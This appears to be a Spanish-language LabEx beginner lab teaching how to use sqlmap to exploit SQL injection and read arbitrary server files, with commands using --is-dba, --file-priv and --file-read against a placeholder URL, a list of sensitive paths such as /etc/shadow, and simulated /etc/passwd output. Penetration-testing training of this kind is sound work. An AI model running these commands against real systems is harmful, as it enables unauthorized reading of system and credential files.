Leer Archivos Arbitrarios del Servidor con sqlmap

Kali LinuxBeginner
Practicar Ahora

Introducción

En este laboratorio, explorará una potente función de sqlmap, una popular herramienta de pruebas de penetración de código abierto que automatiza el proceso de detección y explotación de fallos de inyección SQL. Específicamente, aprenderá a usar sqlmap para leer archivos arbitrarios de un servidor objetivo. Esta capacidad es a menudo posible cuando el usuario de la base de datos subyacente tiene privilegios suficientes (por ejemplo, privilegios de DBA) y el sistema de base de datos permite leer archivos del sistema de archivos. Comprender esta técnica es crucial para los hackers éticos y los profesionales de la seguridad para identificar y mitigar tales vulnerabilidades.

Confirmar Privilegios de DBA y Permisos de Lectura de Archivos

En este paso, simularemos un escenario en el que ha identificado una vulnerabilidad de inyección SQL y ahora está utilizando sqlmap para evaluar los privilegios del usuario de la base de datos. Para leer archivos arbitrarios del servidor, el usuario de la base de datos generalmente necesita privilegios de DBA (Administrador de Base de Datos) o permisos específicos de lectura de archivos. Utilizaremos sqlmap para verificar si el usuario de la base de datos actual tiene estos privilegios elevados.

Primero, asumamos que tiene una URL vulnerable. Para este laboratorio, utilizaremos una URL de marcador de posición. Reemplace http://example.com/vulnerable?id=1 con su objetivo real si está realizando esto en un entorno de prueba real.

Para verificar los privilegios de DBA, use la bandera --is-dba con sqlmap:

sqlmap -u "http://example.com/vulnerable?id=1" --is-dba

Nota: En un escenario real, sqlmap primero detectaría la inyección SQL y luego procedería a verificar los privilegios de DBA. Para este laboratorio, nos centraremos en el aspecto de lectura de archivos, por lo que asumiremos que sqlmap ya ha encontrado un punto de inyección.

Si la salida indica [INFO] current user is DBA: True, entonces el usuario tiene privilegios de DBA, lo que a menudo implica la capacidad de leer archivos.

A continuación, para verificar los permisos de lectura de archivos, puede usar la bandera --file-priv:

sqlmap -u "http://example.com/vulnerable?id=1" --file-priv

Este comando intentará determinar si el usuario de la base de datos tiene los privilegios necesarios para leer y escribir archivos en el sistema de archivos. Si la salida muestra [INFO] current user has FILE privilege: True, es probable que pueda proceder a leer archivos.

Salida de ejemplo (simulada):

        _
       ___| |_____ ___ ___ ___ {1.7.10#stable}
      |_ -| . |     | . | . |
      |___|_|___|_|_|_  |_|___| V
                       |_|   http://sqlmap.org

[INFO] starting @ 12:34:56 /2023-10-26/
[INFO] fetched data: 'True'
[INFO] current user is DBA: True
[INFO] fetched data: 'True'
[INFO] current user has FILE privilege: True
[INFO] shutting down @ 12:34:57 /2023-10-26/

Esta salida confirma que el usuario de la base de datos tiene privilegios de DBA y FILE, lo que hace posible la lectura de archivos arbitrarios.

Identificar una Ruta de Archivo Absoluta Conocida (por ejemplo, /etc/passwd)

En este paso, necesita identificar un archivo objetivo en el servidor remoto que desea leer. Un objetivo común para demostrar vulnerabilidades de lectura de archivos arbitrarios es /etc/passwd en sistemas Linux, ya que contiene información de cuentas de usuario y normalmente es legible por todos. Otros objetivos potenciales podrían ser archivos de configuración, registros del servidor web o código fuente de la aplicación, dependiendo del sistema y sus objetivos.

Para este laboratorio, asumiremos que el servidor objetivo es un sistema Linux y queremos leer el contenido de /etc/passwd. Es crucial conocer la ruta absoluta del archivo que pretende leer. Sin la ruta absoluta, sqlmap no puede localizar el archivo en el sistema remoto.

No necesita ejecutar ningún comando en este paso, sino comprender la importancia de identificar una ruta de archivo válida y absoluta. Este conocimiento se obtiene típicamente a través de reconocimiento, mensajes de error de la aplicación web o adivinando ubicaciones comunes de archivos.

Ejemplo de rutas de archivo comunes en Linux:

  • /etc/passwd (Información de cuentas de usuario)
  • /etc/shadow (Contraseñas hasheadas - generalmente requiere privilegios de root para leer)
  • /etc/hosts (Nombres de host de red)
  • /etc/nginx/nginx.conf o /etc/apache2/apache2.conf (Configuración del servidor web)
  • /var/log/auth.log o /var/log/syslog (Registros del sistema)
  • /proc/self/cmdline (Línea de comandos del proceso actual)

Para este laboratorio, procederemos con /etc/passwd como nuestro archivo objetivo.

Usar la Bandera --file-read para Especificar el Archivo Remoto

En este paso, aprenderá a usar la bandera --file-read en sqlmap para especificar la ruta absoluta del archivo que desea leer del servidor remoto. Esta bandera es el núcleo de la funcionalidad de lectura de archivos arbitrarios.

La sintaxis para usar --file-read es sencilla:

sqlmap -u "http://example.com/vulnerable?id=1" --file-read="/path/to/remote/file"

Reemplace http://example.com/vulnerable?id=1 con la URL de su objetivo y /path/to/remote/file con la ruta absoluta del archivo que identificó en el paso anterior.

Para nuestro laboratorio, intentaremos leer /etc/passwd. El comando completo se verá así:

sqlmap -u "http://example.com/vulnerable?id=1" --file-read="/etc/passwd"

Cuando sqlmap lea el archivo con éxito, guardará el contenido localmente en un directorio dentro de ~/.sqlmap/output/<target_host>/files/. El nombre del archivo será típicamente el mismo que el nombre del archivo remoto (por ejemplo, passwd).

Nota: sqlmap manejará la generación y ejecución de la carga útil de inyección SQL automáticamente. Su función es proporcionar la URL vulnerable y la ruta del archivo objetivo.

Ejecutar el Comando para Leer el Archivo Remoto

Ahora, es el momento de ejecutar el comando sqlmap que construyó en el paso anterior para leer realmente el archivo remoto. Abra su terminal en el entorno de LabEx y ejecute el comando.

sqlmap -u "http://example.com/vulnerable?id=1" --file-read="/etc/passwd"

Importante: Dado que este es un entorno simulado, sqlmap no se conectará realmente a un servidor vulnerable activo. Sin embargo, simulará el proceso y mostrará mensajes como si lo estuviera haciendo. Verá la salida típica de sqlmap, incluida información sobre el proceso de inyección y el intento de leer el archivo.

Ejemplo de Salida (simulada):

        _
       ___| |_____ ___ ___ ___ {1.7.10#stable}
      |_ -| . |     | . | . |
      |___|_|___|_|_|_  |_|___| V
                       |_|   http://sqlmap.org

[INFO] starting @ 12:35:00 /2023-10-26/
[INFO] fetched data: 'root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
... (truncado por brevedad) ...
labex:x:1000:1000:LabEx User,,,:/home/labex:/bin/bash'
[INFO] file '/etc/passwd' saved to '/home/labex/.sqlmap/output/example.com/files/passwd'
[INFO] shutting down @ 12:35:05 /2023-10-26/

La línea clave a buscar es [INFO] file '/etc/passwd' saved to '/home/labex/.sqlmap/output/example.com/files/passwd'. Esto indica que sqlmap ha "leído" con éxito el archivo y ha guardado su contenido en su máquina local dentro del directorio de salida de sqlmap.

Ver el Contenido del Archivo Guardado Localmente

En este último paso, verificará que el archivo fue efectivamente "leído" y guardado por sqlmap visualizando su contenido en su entorno local de LabEx. Como se mencionó, sqlmap guarda los archivos extraídos en una estructura de directorios específica.

La ruta será típicamente ~/.sqlmap/output/<target_host>/files/. En nuestro ejemplo simulado, el host de destino es example.com y el archivo es passwd. Por lo tanto, la ruta completa al archivo guardado sería ~/.sqlmap/output/example.com/files/passwd.

Puede usar el comando cat para ver el contenido de este archivo:

cat ~/.sqlmap/output/example.com/files/passwd

Ejemplo de Salida (simulada):

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
... (truncado por brevedad) ...
labex:x:1000:1000:LabEx User,,,:/home/labex:/bin/bash

Esta salida confirma que sqlmap "leyó" con éxito el archivo /etc/passwd del servidor remoto simulado y lo guardó localmente, permitiéndole inspeccionar su contenido. Esto demuestra el proceso completo de uso de sqlmap para la lectura arbitraria de archivos.

Resumen

En este laboratorio, ha aprendido con éxito cómo utilizar sqlmap para realizar la lectura arbitraria de archivos desde un servidor vulnerable simulado. Comenzó comprendiendo la importancia de confirmar los privilegios de DBA o de lectura de archivos. Luego, identificó un archivo objetivo común (/etc/passwd) y utilizó la bandera --file-read para instruir a sqlmap a extraer su contenido. Finalmente, verificó la extracción exitosa visualizando el archivo guardado localmente. Esta habilidad es fundamental para que los probadores de penetración evalúen el impacto de las vulnerabilidades de inyección SQL y para que los desarrolladores comprendan la importancia de la gestión adecuada de privilegios y la validación de entradas para prevenir tales ataques.